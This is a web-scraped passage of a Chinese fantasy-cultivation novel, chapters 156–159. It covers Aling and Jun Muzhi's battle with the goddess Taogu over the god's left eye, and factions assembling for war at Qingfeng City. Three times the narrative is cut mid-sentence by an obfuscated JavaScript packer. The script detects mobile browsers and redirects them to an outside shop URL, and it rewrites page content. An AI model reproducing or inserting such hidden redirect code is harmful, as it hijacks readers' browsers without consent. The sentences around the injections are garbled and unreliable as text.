整片大陆被天机的陡然降临掀起波澜,越是繁华的城镇越混乱,反倒是落后的乡镇风平浪静,他们极少接触修士,大部分甚至都没听过异世者。 路过一片烟熏缭绕地,阿玲多看了两眼,是间香火旺盛的寺庙,蓦地停了下,阿玲调转方向往百崃赶。 缘崃寺还是和之前一样热闹,人头攒动,烟火盘旋,四面都是欢声笑语。 阿玲在门口静立片刻,还是转身离去。 君慕之只身一人时不会来这种地方,受秽气所扰,他更偏向于安静人少的地方 不在缘崃寺的话…… 阿玲朝东边走。 上次他们来云坑是在深夜,两人都是修士,夜色并不影响视线,他们牵着手在云峰山上漫步,一路上采摘红色的浆果,盘旋着走了大半个云峰山,卡着初阳升起时来到云坑,见到瑰丽壮观的一幕。 阿玲从清晨离开,到云坑时恰逢日落。 夕阳余晖被群山掩映,天空铺满了红色晚霞,靠近地平线的云彩描了层金边,大朵大朵的,绚烂而浪漫。 君慕之就站在霞光里,被风鼓动的白衣染上暖色,长长的墨发飘飞,遗世独立。 阿玲走过去时君慕之没有反应,但伸手抓头发时却后退一步,他转过身望来,脸上带着冷淡之色。 阿玲眨眨眼:“你生气了吗?” 君慕之不说话。 “对不起。”阿玲干脆利落地道歉,然后解释,“当时的情况没法说太多,那么多人在场。要是和异世者纠缠不清,你也会惹上麻烦。” 君慕之绷着脸看她,还是沉默。 阿玲继续解释:“事情太过突然,我还没反应过来就暴露了,第一反应就是不想连累你。而且我说了,只是分开一段时间,现在我来找你了。” 君慕之眉心微蹙:“不是分手?” 阿玲轻扬眉梢看他:“分开一段时间和分手,还是不一样的。” 君慕之神色微霁。 阿玲走到他跟前,伸手往雪白衣袖里探去,拉住他的手,触手冰冷,阿玲另只手也握上去,捏着给他暖手,仰面看他:“不生气了?” 君慕之:“我没生气。” 阿玲观察片刻,忽然伸手勾着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593994|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的脖子,仰头准备亲上去,君慕之抬手按住额头将她推开,冷淡道:“我们不是同路人。” 她就知道。 阿玲有些好笑地说:“那是说给别人听的,假的,我们怎么会不是同路人呢?我们以后要过一辈子啊。” 君慕之垂着眼眸看她,像是要看出话的真假。 阿玲大大方方给他看,好半晌君慕之才确定完,缓缓将她拉进怀里:“我信你。” 他的身体从紧绷到舒缓,相触的胸膛,按在后背的手掌,阿玲能感受到他在颤栗。 她仰面观察君慕之,脸色不太,好像是发病的先兆。 这幅样子被君慕之误会,以为她想继续刚才被拒绝的亲吻,于是低下头,然后被阿玲的额头抵住:“这种时候就别想这些了,我先进你识界看看。” 他眼眸带了笑,也没纠正,放松地让她进去。 果然,她之前净化的空间被秽气占了大半,只剩神台的一个小角,半点不尊重她的劳动成果。 阿玲从识界出来后夜色已至,两人坐在大石头上。 云坑很大,呈黑色,月色倾泻而下,仿佛是个吞灭清辉的黑洞。 阿玲把江弥在天雪峰的遭遇同他说完,又道:“祂说关系和时间的话我没听懂,那应该是101神的眼睛,桃姑吞掉它就能苏醒。” 君慕之沉吟片刻:“五蕴神品莲少了识、色两蕴。” 阿玲盘腿面对他坐,好奇问:“和这有什么关系?” “正常情况,神之左眼和人体难以兼容。神血难得不仅仅是力量强大,还因为很难为人所用,神脉家族发展千年才将其融合得以延续。”君慕之停顿片刻,说:“五蕴中的识蕴能压制‘我’,也就是左眼中的神魂,而色蕴代表物质,应该是为溪兰做的准备。” 江弥的左眼和溪兰均是101神所为。 阿玲不解:“她为什么这么做?” 君慕之:“不知。” “那先不管这个,”阿玲端正神色,“我问你,传闻说你是最可能激活神血的神脉子嗣,是真的吗?” 君慕之:“理论上是的。” 阿玲提出假设:“桃姑吞了神之左眼就能苏醒,如果这只眼睛让你吸收,你能否激活神血变成神?” 君慕之没说话,阿玲继续道:“青花有个猜想,他认为异世者是残缺的神,残缺神可用来创造完整的神,以神之力对神之力,以此结束棋局。” 她小心询问:“如果这个说法成立,这个神是否一定要是异世者?” 君慕之听出她的意思。 天道不允许新神诞生,异世者或许是例外。 异世者的例外是因为站天道立场,还是有其他规则? 如果成神的前提只需要站在天道的立场,那君慕之就可以做到。 君慕之忽然皱眉:“他们打算牺牲你,还是将你打造成神?” 这不是重点啊。 阿玲:“……后者。” 她深吸口气:“先找到姬月生,不,桃姑,从祂手里拿回眼睛,不管是哪种选择,都需要这只眼睛。” 而且她觉得,101神或许是个突破口。 157. 157 一个谣言在修真界悄无声息流传着—— 世间将诞生一位神,祂会带所有迷途者回家。 有人说祂是属于异世者的神,有人说这是先常命君的转世看到的预知,也有人说即将笼罩整片大陆的混沌会伴随这位神降临。 没人知道这消息从何而来,也不知何时而起。 有人对此嗤之以鼻,也有人将其奉为圭臬,但无一例外的,如果神降会发生在哪个特殊的时间点,所有人只会想到一个,天机毁灭的那天。 没有人质疑,甚至连所有修士也默认。 异世者计划毁掉天机,这件事天诛院连同十三世家以及修真界的所有修士都无比关心。 世上没有不透风的墙,不管异世者之间如何铜墙铁壁,底蕴丰厚的世家总有办法从异世者嘴里窥听到消息—— 三天后,以天涯路为首的异世者将毁灭天机,并亲自见证神灵的降世。 “距离这个消息已经过去两天,你们觉得这是陷阱吗?” 孙柏柔从廖家的消息渠道得知后找来崔大周三一同商议。 极其混乱的那天,昏厥的孙柏柔被周三背着下山,崔大还想不管不顾地冲上天雪峰,周三拦不住,只问他:“你回去是要杀异世者,还是救异世者?” 将崔大问愣在原地,然后逃避似的跟着他们下山。 此后小术院被毁,学员和教习们一半离开参与修真界的除异行动,一半留下来重建小术院。 孙柏柔在东岐的廖家宅子养伤,将暂无住所的崔大和周三也叫来。 这一个多月里崔大萎靡不振,连狐狸和苏乞花也不找了,像是被打击到,可孙柏柔和周三问时又一句话不说。 反倒是周三神色如常,时常回去小术院帮忙。 孙柏柔怀疑他早知道江弥身份,但如今已不重要。 三人一同用膳时会分享外面的消息。 周三说的比较多的是天诛院又在哪里抓到异世者,每次说完他都会补充一句,没有她。 他们知道江弥加入了天涯路,但天涯路和这些被抓的异世者小队有什么区别,她在里面做什么一概不知。 孙柏柔则知道的更多,定时就有消息从廖家传来。 比如世家因异世者发生的分歧,相较其他世家对异世者的排挤,卢家、廖家、夏家三家并不热衷此事,廖家对此持反对态度,只是势单力薄,没起作用,卢家则是两耳不闻窗外事,夏家倒是派了个新认回的子嗣去配合,态度说不出的敷衍。 除了世家,皇室态度模糊,世家和天诛院一斥责就派人配合,但更多时候是消极怠工。 在几方势力中,反倒是散修最为卖力。 修真界的散修有一半出自启蒙院或小术院,他们经历大小混沌,对异世者深恶痛绝,散盟会大部分和异世者有关的无悬赏任务就是他们揭的。 孙柏柔说完天涯路准备毁灭天机和等待神降消息,等两人发表意见。 周三沉吟半晌,问:“你觉得是天涯路在设陷阱?目的呢?” “我不知道。”孙柏柔按了下太阳穴:“你们还记得四方坛下方的命籍吗?当初调查说是守望军盗走的,现在仍旧下落不明。” 周三:“我听过,还爆出过簇拥先常命君的组织和头目天音。” 这事儿崔大也知道,他放下碗筷点头。 孙柏柔说:“族中长辈猜测,异世者这么坚定,可能通过命籍看到了什么。” 周三若有所思:“这么说,神降真有可能。” 孙柏柔:“这点不仅廖家能猜到,天诛院和其他世家也有所感,他们不会允许神降临,另一方面,异世者被逼入绝境,神降是最后的希望,他们会不顾一切除掉任何阻碍。” 说完她深吸一口气,目视两人:“也就是说,三天后会爆发一场修真界和异世者的大战。” 周三默了默,吐出一句话:“江弥在天涯路。” 三人同时沉默下来。 许久,孙柏柔说:“今晚我会随廖家一同前往。” 周三:“我也去。” 孙柏柔点头,转向崔大。 周三看他眼,说:“你留在这里,等我们回来。” 崔大张了张嘴,还是没说出口。 · 姬氏并不难找,只是阿玲和君慕之不怎么费力地闯进姬氏之地,却没看到一个姬氏族人。 阿玲皱眉:“不太对。” 下秒,无数人从建筑中走出。 神脉家族有个共同点,将清气圈起来自己用,姬氏也不例外,依附神脉家族的世家能在清气中修炼,但也在同时,需要负担起守卫姬氏的任务。 此时四面围过来的不仅有嫁来的女眷,伺候的仆人侍女,还有守在这里的温家邵家修士。 姬氏行为散漫,这些护卫甚至有没乐正氏和君氏的多,但聚在一起时还是乌泱泱的一大片。 “滚出姬氏!” “卑劣之人休想亵渎我们的神!” “我不会让你们破坏姬氏神的大事,想过去,除非从我的尸体跨过去!” 他们面容或愤慨或憎恶,嘴里吐着恶言朝他们逼近。 君慕之观察片刻道:“他们被姬氏神控制心神。” 如果神之左眼未被夺走,阿玲此时看到的便是被无数红线连接所有人心脏的壮阔场景。 阿玲扫视一圈,后退着问:“桃姑知道我们要来?” 君慕之:“不一定。” 那就是在戒备一切前来搞破坏的阻碍了。 越发逼近的人墙里有修士也有普通人,当第一剑斩来时阿玲就察觉不对了。 “这压根不是十二阶能爆发的能力吧?” 她拔出雪麟抵挡,左手按在剑身震气,淡金光芒犹如气浪扩散,却只能将对方击退,而非杀死。 神台的能量体系和仙梯不是同一个,非要一较高低的话,大概就是神台一层同仙梯二阶匹敌,三层就能击败五阶,但她一个九层竟然杀不死十二阶! 君慕之抬手掀翻冲来的众人:“他们受桃姑操控,不宜纠缠过久,得尽快找到桃姑所在,而且……” 他目光朝更远处望去,眉梢微蹙:“我怀疑姬氏族人已经遭遇不测。” 阿玲削掉砍掉冲来之人的脑袋,然后亲眼看到那颗脑袋被无形的力量连接到脖颈,对方没事人一样继续冲来。 她捏住剑柄的手指微动,“骇浪”冲开逼近的众人,退回到君慕之身旁问:“你感受不到桃姑?” 君慕之两手齐平,缓慢张开,无形的结界从他周身扩散,将络绎不绝人墙拦在几米外。 “没有丝毫气息,也无法感知到姬氏,”他望向阿玲,“你来试试。” 让她感应,当然不是感应姬氏族人。 阿玲闭眼,屏蔽混乱的环境,将感知扩散。 她从未察觉到神之左眼的存在,却透过它看过一个不一样的世界,它曾是她身体的一部分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612481|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 超越声音、光线、触感的存在,无形而强大,类似时间,关系。 空茫的漆黑中忽然浮现一根白色线头,正在向某个方向飘动着离去。 “这边!” 阿玲转向后方,闭目跟着细线的方向前行。 君慕之将她前方的障碍清除,前方有个雕砌的石台,君慕之刚要牵她手提醒,她已经抬脚踏上去。 阿玲看着黑暗里曲折成台阶形状的细线说:“它好像在给我引路。” 接下来的一路阿玲随着细线前行,两刻钟后终于停下脚步,阿玲睁眼,身前是一口井,没封口,井旁还种了棵榆钱树,树叶飘落。 阿玲:“这下面。” 君慕之不多言,率先跳下去,阿玲随后。 落下后仿佛进入无底洞,他们一直在下坠,四面潮湿阴暗,散发绿光的青苔将这片空间照得诡谲异常。 “噗通!” 两人落入水中,井下似乎连通水域,水下暗流将他们冲到一片陌生之地,在冲力中扯住水草才停止了漂流。 水草越往上越粗,很快他们发现这并非水草,而是密密麻麻的树根。 树根很长,阿玲爬了很久才露出水面,她长长呼出口气,看到眼前一幕的瞬间顿时停滞。 君慕之已经面不改色地走出水面,水汽随着他上岸而散发,长发干燥地垂在身后,察觉阿玲还在水中,准备回来接她,忽然听她叹声说:“现在原路返回还来得及吗?” 阿玲看了眼那棵巨大无比的桃树,溢出的半透明树脂堆积,隐约能看到下面粗壮的树根痕迹。 她从水中走出,将身上水痕震散,君慕之见她过来,便抬眼望向那棵桃树,神态不太好。 阿玲走过去才看清。 那颗粗壮的桃树大概需几十人合抱,近看犹如一堵墙,无数细密的枝丫展开,没有一片树叶,像一朵形状不规则的蒲公英球。 视角转变,露出另一面的场景。 树干仿佛被劈成两半,完好的一半朝水,所以他们刚才看到的是完整的树干,而另一边,取代一半树干的是半个人形。 像是在另一半树干雕刻出天香国色的美人,也像是活生生的美人被这棵桃树吞进去一半身体。 靠近树的皮肤上还有鱼鳞般的树皮纹络。 女人闭着眼,她的脚下是融入树脂的姬氏族人。 他们没有生的气息,面色惨白,仿佛凝进琥珀的蚂蚁,由远而近的散开,像一个个摆放整齐的棺材。 姬月生就站在这些族人的最前方。 阿玲看到他的瞬间,姬月生展眉望来,露出笑:“是你。” 阿玲心中怪异,凝视片刻道:“你不是姬月生。” “姬月生”抬手端详:“身体不错,偏偏是男身,还是女身方便。” 阿玲目光落在“姬月生”身上,又扫了眼失去生机的姬氏族人,心中有些猜想,又觉得不太可能,向君慕之寻求答案。 君慕之颔首肯定她的想法:“祂汲取了姬氏族人的神血获取力量,强行占用姬月生身体。” 阿玲对这些神和神脉家族的感观很难言。 她以为的神强大、责任感强、庇佑一方,神脉家族对其虔诚供奉,并得到神的力量。 见到的却是乐正氏为了延续血脉罔顾人伦,君氏强行留下“不死树”而驱逐君慕之,现在又见到桃姑吸干姬氏族人占据姬月生躯体只为苏醒。 她想,去他妈的神,妖魔鬼怪还差不多。 158. 158 “祂在拖延时间,”君慕之将阿玲拉至身后,低声道,“你寻找神之左眼的位置。” 阿玲刚想问他对上桃姑有没有把握,结果桃姑直接攻击,这下没把握也得硬上。 无形的力量从四面八方扑来,阿玲看不到,但她在天雪峰上从姬月生的攻击中感知到同样的气息,此时却比那时强大无数倍,无形力量震荡的风令她身形不稳。 君慕之不退反进,他撑起金色屏障将阿玲笼罩其中,每往前一步,强势的压力令人寸步难行。 阿玲手指一挑,剑尖向下反向握住剑柄,两手猛地用力,雪麟扎入土壤,她稳定好身形后闭目感受。 桃姑占用姬月生的身体,急忙吸干姬氏神血,说明还没完全消化掉左眼,只能通过这种方式阻拦任何靠近的危险。 现在是祂吸收的关键时间。 还不晚。 阿玲寻找那一丝微妙的感知,空气威压沉重,君慕之抵挡大部分攻击,还是让她觉得压抑窒息。 忽的,黑暗中的细线犹如蝌蚪的尾巴抖了下。 阿玲蓦地睁开眼,目视前方只露出半个身体的女人,在她身上,阿玲的目光一寸寸扫过,仿佛被某种东西吸引般的落在她心脏处。 那是胸口和树干连接的地方。 阿玲:“找到了!” 话落的瞬间,只防不攻的君慕之忽然收起屏障。 他撕开腕间皮肤,血水如泼洒的墨从伤口飞出,在空中凝聚成细小的血珠,血色薄雾在四周弥漫。 君慕之眉目沉静,白袍和黑发被风吹开,微扬的手制造出血雾,另只手捏诀,淡金色光芒萦绕着冲出。 神力穿过血雾时威力暴涨,“姬月生”被击退两步。 画面诡谲绝美,视角效果很震撼。 阿玲担心地看了眼,抽出雪麟朝桃树的方向跑去。 君慕之的血蕴含他的力量,那股难以抵抗的威压在血雾的包围下消失殆尽,阿玲速度极快地冲向桃树。 “姬月生”发觉她要做什么,攻击对象转向阿玲,看不见的各色丝线朝着她涌来,却被陡降的金色屏障拦住。 “姬月生”大怒,双手向前张开,数十根红线扎入一具具棺材般的树脂。 树脂里躺着的都是姬氏族人,和她拥有血脉相连的关系,代表关系的红线连接姬氏族人的心脏。 下秒,透明的树脂逐渐融化,那些死去的人站了起来,他们脸色惨白地围攻阿玲。 靠!都是匹敌神台九层的修为! 即将触碰到桃姑本体的阿玲因猛烈的攻击后撤,她回头看了眼君慕之,血色弥漫中,他唇色极淡,甚至为了能压制住“姬月生”,连力量本源都使出来了。 不用太久,他体内艰难维持的秽气平衡很快就打破。 再拖下去死的就是他们。 阿玲一剑砍开神力攻击,握住剑柄的两手紧了紧。 还有一个办法。 雪麟是半神品武器,是即将成神的山主之心,君慕之为她寻找卢家少杰卢阿炼制而成。 卢阿在锻造雪麟时保留了山主吞噬的能力,她虽能使用这种能力,却不过山主力量的百分之一二。 想要真正发挥出山主实力,会耗费大量灵魂力量。 卢阿曾提醒,只建议在生死之际使用,顶多一次。 她从未被逼至这种程度,也就将之抛去脑后,毕竟一击之后身体和灵魂负荷过重,无法将敌人一击毙命,死的就是她。 但现在不用估计以后都没机会用了。 灵魂的力量,没有人比她更清楚如何使用。 她感觉双手正在变虚幻,好似变成蜡烛,握住的剑柄仿佛灯芯,雪麟在燃烧,燃烧的是她的灵魂。 灼烧如同火舌舔舐着灵魂,灼痛令她双手几乎脱力,她咬牙用力握住剑柄,剑刃雪白明亮,调用所有力量挥出的一瞬,砍出的剑势化作满天光点充斥这片空间的每个角落。 爆发的各种力量在几瞬被吞噬殆尽。 桃姑无处不在的红线变得微弱缥缈,难以掌控。 对阿玲展开攻势的姬氏族人没了控制,重新变成死尸倒下。 君慕之的屏障淡化,神术还未击中桃姑就先一步溃散。 两人被无数光点包围,同时望向不远处的人。 桃树几步之外,阿玲感觉灵魂上的火焰仍在燃烧,灼痛在蔓延。 她踉跄着走了两步,一脚踩进树脂陷了进去,她跌在软绵的树脂上,伸手撑着想要起来,压根使不上力。 身后有急促的脚步声,她听出是君慕之,她努力大喊出声,却是声若蚊蝇。 “心脏……” 君慕之穿过无数光点冲向桃姑本体,沾血的长袍在她指尖拂过,像在安抚她不用担心。 阿玲眨眼,一切不过刹那间。 她看到君慕之的手带着摧毁之力朝桃姑的心脏处抓去,只要破坏心脏取出神之左眼,一切都会结束。 刚要松口气,余光瞥见静立微笑的“姬月生”失去意识地倒下去,心口猛地一滞。 不对! 她朝君慕之大喊:“躲开!” 晚了。 半个身体和桃树连接的女人忽的睁开眼,刹那间无数桃枝舒展绿叶,粉红花瓣绽放,浓郁的花香弥漫开。 君慕之的攻击被桃姑单手制住。 时间仿佛按了放慢键。 君慕之冷淡面颊浮现惊讶之色,接着唇色发白,鲜血从他嘴角溢出,漆黑纹路缓慢而有序地爬上额头。 阿玲要上前帮忙,一动,就被蠕动的树脂一点点吞入,先是双腿,然后是身躯和脑袋。 她的视野被透明树脂扭曲,口鼻堵住无法呼吸。 窒息和绝望将她吞没。 舒展的万千桃枝随着桃姑的大笑摇晃着,她的另一只手从桃木中伸出,捏住君慕之的咽喉,闻到他身上传来的血的芬芳,桃姑脸上浮现奇异的笑:“‘不死树’的气息,真香啊,吃掉你说不定我就能离开了。” 她迫不及待地大张着嘴,像是要将他连着皮肉带骨地吞下,一点力量都不浪费地吸收掉。 即将咬住他滴血的手时,桃姑忽然僵住,接着剧烈的痛楚从她胸口涌现,大脑浮现无数细碎片段。 “什么东西?” 她惊慌地低头望去,一根白色细线从皮肤和桃树交界处浮现。 接着第二根,第三根,细线源源不断地飘出,仿佛被风拂动的发丝。 她松开君慕之去扯细线,像在扯无数个毛线团的线头,越来越多,越来越长,脑海里的某个画面一闪而过,强烈的恐惧将她定在原地,细密的枝丫不住的颤抖。 “不可能!” “不可能不可能不可能!” “祂不可能还活着!眼珠不可能是祂的!” 忽的,柔软的细线猛地收紧交织,桃姑拉扯细线的手一僵,她的手被一只手握着。 那些细线缠绕成的、女人的手。 更多的恐惧还来不及诞生,被撕扯的痛苦就覆盖了一切。 另一只细线组成的手从桃树和人体的拼接处伸出。 两只白色手掌张开,仿佛一只斧头从内部将她劈开,巨大的撕裂声炸响,粗壮的桃木向一边倾倒,另一边的半人形还没跌落就被那只手抓住。 接着又探出一颗脑袋,躯体,两条腿,一个完整的透明的人从分裂处走出,她的身体被细密的白线缠绕,无法看清面容,却能看出是个女人的样子。 只有半个身体的桃姑似乎看到她低眉时皱了下,随即转向自己,桃姑分明看不到她的眼睛,却生出无限恐怖来。 “你……你是……” 她的话没说出口就被女人撕碎,细密的白线从她身上飞出,一部分缠住桃姑的碎片将其吞噬,另一部分连接倾倒的桃树,开花不过一瞬的桃树被吸干,化作齑粉消散。 空气中的花香恍如错觉,不复存在。 君慕之陷入昏迷,脖颈青紫,手腕更是没有一块好皮肤,雪白衣袖染上大片血色,更可怕的是,他额上的黑纹细密交缠,几乎看不到一点空白。 女人半蹲在君慕之身前,细线组成的手指轻拂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612482|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他手腕,无法止住的血口逐渐停止,很快结了层血痂。 · 江弥猛地站起,神情惊疑不定。 阿玲被树脂淹没失去意识,江弥还能感受到阿玲的存在,可就在刚才,阿玲不见了。 确切地说,阿玲和她的联系切断了,但她确定,阿玲没有死亡。 简单来说就是类似灵魂死亡但躯体活着,可问题是她的灵魂并未死亡。 怎么回事?发生了什么? 项昭昭正在向巫马策汇报行动进展,说到一半江弥忽然站起,几人目光望来。 江弥脸色有些难看,但她从参与会议时就不太好,其他人也就没怎么察觉不对。 此时江弥沉浸在震惊中,没有发觉其他人的视线。 蒋敏坐在江弥身旁,左右看了眼,伸手拉她:“你怎么了?” 江弥垂下的手捏得指节发白,她坐下来:“没事。” 巫马策注视她几秒,然后看向项昭昭:“继续。” 项昭昭点头,几人注意力专注在会议上。 “目前已知的,天诛院调配出玄甲队六支、严家军三百名,召集而来的散修四百余人,十三世家中除了卢家,替代池家晋升上来的方家两家未参与,其他十一家均有派修士前来,但观战还是参战,不好说。” 项昭昭停顿片刻,又道:“此外,神脉家族虽未直接参与,但欧家代表乐正氏,谷家和严家都派出修僵神的子弟,这足以代表神脉家族的态度。” 巫马策问:“姬氏如何?” 项昭昭:“姬氏没有僵神,但邵家和温家参与,一定程度上也代表了姬氏的态度。” 廖珮缨发表不同的意见:“姬氏和其他神脉家族不同,他们喜欢展露人前,这种情况他们不会放过才对。” 江弥忽然说:“姬氏来不了。” 几道目光再次聚来,但江弥没有解释的意思。 项昭昭继续道:“天机的确切地点所有异世者基本知晓,第一批探索的异世者才小队应该已经行动,第二批正在前往,都是野生队伍,预计有五支。” 苏与商敲敲桌子:“生还几率多少?” 项昭昭顿了三秒,说:“预计全灭。” 所有人沉默下来。 异世者想要毁灭天机,天诛院对方异世者最简单的方式就是守株待兔,设置埋伏然后一网打尽。 即便所有人知道这点,却不得不前往。 第一波往前的异世者就是马前卒,试探敌方虚实的踏脚石。 很残酷,但必须做。 默了下,项昭昭继续道:“接下来白地黑花会带领异世者攻击进去,后面的就是神降。” 具体怎么出现神降,在场之人恐怕只有巫马策和天音知晓。 项昭昭长舒口气:“一旦异世者攻入,后续会发生什么我无法推测。” 太混乱了,各方势力,所有异世者,神降,太多不明因素杂糅在里面,若非项昭昭相信巫马策,也知道命籍一事,她不会成为推进这个疯狂计划里一员。 会议现场有两人不在场,孔冶在外率领异世者,卢今在刻画更多的传送阵。 在一些即将爆发的此刻,除了沉稳的巫马策和慢吞吞的天音,所有人都不自己心跳加快,血液翻腾。 今日过后,异世者的未来就定了。 会议散去,众人离开。 江弥喊住巫马策:“我失去了进阶的能力,你还要继续吗?” 巫马策:“没有人能停下来。” 江弥的计划是夺回神之左眼,若君慕之能成神最好,至少能阻止她脑海里的大屠杀,若无法阻止这一切,神之左眼的回归至少能让巫马策的计划进行。 这段时间她说服自己,无法阻止,那就接受。 但她和君慕之失败了,她压根无法知道姬氏的井下发生什么,神之左眼带不回来,意味着神降不可能成功。 但巫马策从不考虑这种情况。 江弥抬首看他:“天音在命籍里看到什么?” 巫马策笑了下,转身离开。 159. 159 青枫城坐落在偏僻的西面,是历史遗留下来的老城,曾经最有名的是这里的枫树,山野连绵,夏青秋红,大雪捂个冬天,来年抽出绿芽,四季都有诗人游客来此赏景。 然百年过去,如今的青枫城早已没了枫树,只剩古旧城墙和风化的建筑,城中人口走得差不多了,剩些挪不了窝的老人。 但这个人口稀少的城市近日来了许多人。 他们腰身佩剑,身着同样的衣裳,一个个严阵以待,像是随时准备大战一场。 周三就在一群身着蓝衣的修士中。 他环视四周,看到好几个世家的修士走过,低声问身侧的孙柏柔:“这么明显的陷阱,他们会来?” 孙柏柔语气肯定:“必须来,天机在这里。” 周三看着颓败的建筑和长草的路面,心中了然,这场和异世者的大战不可避免,那至少要避开百姓意面伤及无辜,这里正好,人口稀少,地域空旷,也不会造成大的经济损失。 “青枫城有一座佛塔,在郊外,天机就在那里,那附近的城墙破败不堪,异世者应该会从那附近突破。”孙柏柔说完停顿,神色变得茫然。 “来的路上我一直在想,要是我看到有人杀江弥该怎么办?看到她杀人怎么办?如果她将攻击对准我们,又要怎么办?” 她现在代表廖家,一言一行不妥都会被有心人做文章。 她随廖家前来是想看江弥如何了,可真来了,又为即将发生的事烦忧。 周三冷笑一声:“她不是说只是生死挚友的游戏?她都不玩了,你还较什么劲儿。” 孙柏柔看他冷嘲热讽的样子,无语:“你又不是不知道她为什么说这种话。” 周三呵了声:“我不知道。” 孙柏柔叹了声:“虽然她这么做确实让人生气,可如果我们还有所牵连,不仅她有麻烦,我们也是。” 周三:“这要你说?” 孙柏柔本就烦躁,周三还一副傲娇的臭脾气,她顿时怒道:“三儿,你现在可是在廖家的队伍里!” 周三斜她眼,一副不跟她计较的模样,闭嘴了。 打探消息的回来向最前方的三姑汇报最新情况,孙柏柔带着周三过去听。 异世者出现了。 守在佛塔附近的天诛院出手,无人生还。 孙柏柔失声道:“这么快!” 三姑知道她担心江弥,伸手拍了拍她,安抚道:“这只是开始,天涯路不会这么快出手,她肯定没事。” 天涯路的名字彻底被修真界知晓,还是在得知天涯路会毁灭天机以及神降消息传开时。 当时各个势力发动全部力量调查天涯路到底是何方神圣。 这一查,直接将整个修真界震撼到了。 天诛院也是最近才公布天涯路的部分成员信息,说是部分,是因为不确定天涯路到底有多少人。 其中最令人震惊的是苏与商,天诛院的核心人物。 谁也没想到,这个抓异世者最狠的苏家长女竟也是异世者。 接着众人发现,悬赏榜第一名青花就是天涯路首领,第二名白地黑花也是天涯路成员,不仅如此,他还是第十名的死神,还有传说是先常命君转世的天音大人,前前守望军成员前天一武会负责人的项昭昭,以及数次破译囚天笼的阵法大师颜西。 简直是能人云集。 相较之下,江弥和阿玲两人则是各方面平平,唯一能让人津津乐道的也不过是同君氏少主的风流韵事。 但这仍旧让所有各势力提高了警惕。 廖家人到佛塔附近时各家几乎都已到齐。 佛塔倚湖而建,后方是山,正对的几里外是疯涨的野草和树林,断壁残垣在林间耸立。 天诛院已经派人潜藏在密林山间,将佛塔围起来,任何靠近佛塔的人都会被围杀。 廖家以及各世家就在山后,天诛院用神品布置阵法,屏蔽任何探知,防御极强。 孙柏柔见到了传说中的颛孙院长,看上去五六十岁,不怒自威,身侧站着数名高阶修士,其中就有顾臣,还有名女子她有印象,曾经在启蒙院担任过教习,她还上过这位女教习的课。 有修士在向院长禀报前方消息,他只轻轻颔首,并不开口。 相较之下,周三对这些世家更感兴趣。 他目光扫视一圈,还以为世家在这种场合会注意形象克制言行,但现场一团乱。 除了最前方天诛院的人沉肃不言,其他世家要么交头接耳相互寒暄,要么评头论足说异世者不自量力,再就是有矛盾的相互看不顺眼,冷嘲热讽。 各家都有自己的消息渠道,于是不停有修士场内场外跑。 他甚至没法分清谁是哪家的。 天诛院的一位修士忽然跑来,对颛孙院长说了几句,就见院长脸色变得严肃,接着各家得到消息。 天涯路来了。 是死神。 · “马上要出发了,你紧张吗?” 蒋敏跺了跺脚,将紧张发虚的感觉跺掉,她一紧张就想说话,江弥不回也说得很带劲儿。 “刚才我听到项昭昭说孔冶已经到了,孔冶知道吧,死神,就是,哦,差点忘了你是阿玲,你见过,我们还一起遇到过。项昭昭说他是最适合作战的,他的系统能将吸收的负面值转化成攻击,那种情况他几乎无敌。” “他的目标是开路,听说那一片都被包围,得先从外面杀出一道缺口带人冲进去,让人在佛塔附近刻画传送阵,和卢今刻画的阵法连通,我们就能过去了。” 她一口气说完这么多,停了会儿给自己做心理暗示。 不紧张不紧张不紧张…… 走来的项昭昭陡然喊了声,将她吓得差点叫出来。 项昭昭看了看江弥,然后朝蒋敏道:“走吧。” 蒋敏:“两边传送阵通了?” 项昭昭点头:“颜西刻画一座传送阵需要两刻钟。” 现在的传送阵经过颜西和卢今改良,去芜存菁,也稳定很多,能多次使用,只是需要的能量比以往多数十多倍。 而两刻钟已经是颜西日夜不休地升至十一阶后不断练习的结果。 要在敌人的攻击中清出一片空地让颜西制作传送阵,还得坚持两刻钟。 蒋敏只是想想都觉得艰难。 项昭昭说完望向江弥,江弥抬眼,项昭昭说:“青花让你什么也不要做,我们会保护你的安全。” 让江弥留在这里不就好了?蒋敏又左右望了望,闭上嘴巴。 其他人已经站在传送阵中,江弥三人走进去。 天音伸手抓住江弥,江弥低头,只看到他雪白发丝扎起的小髻。 卢今没进来,他要维护传送阵的正常运行。 蓝紫色光芒升起,众人眼前一片扭曲,视野稳定的瞬间,浓郁的血腥气冲来,嘶吼声震天,阵法光芒散去,取而代之的是刀光剑影。 仿佛是末日般的场景。 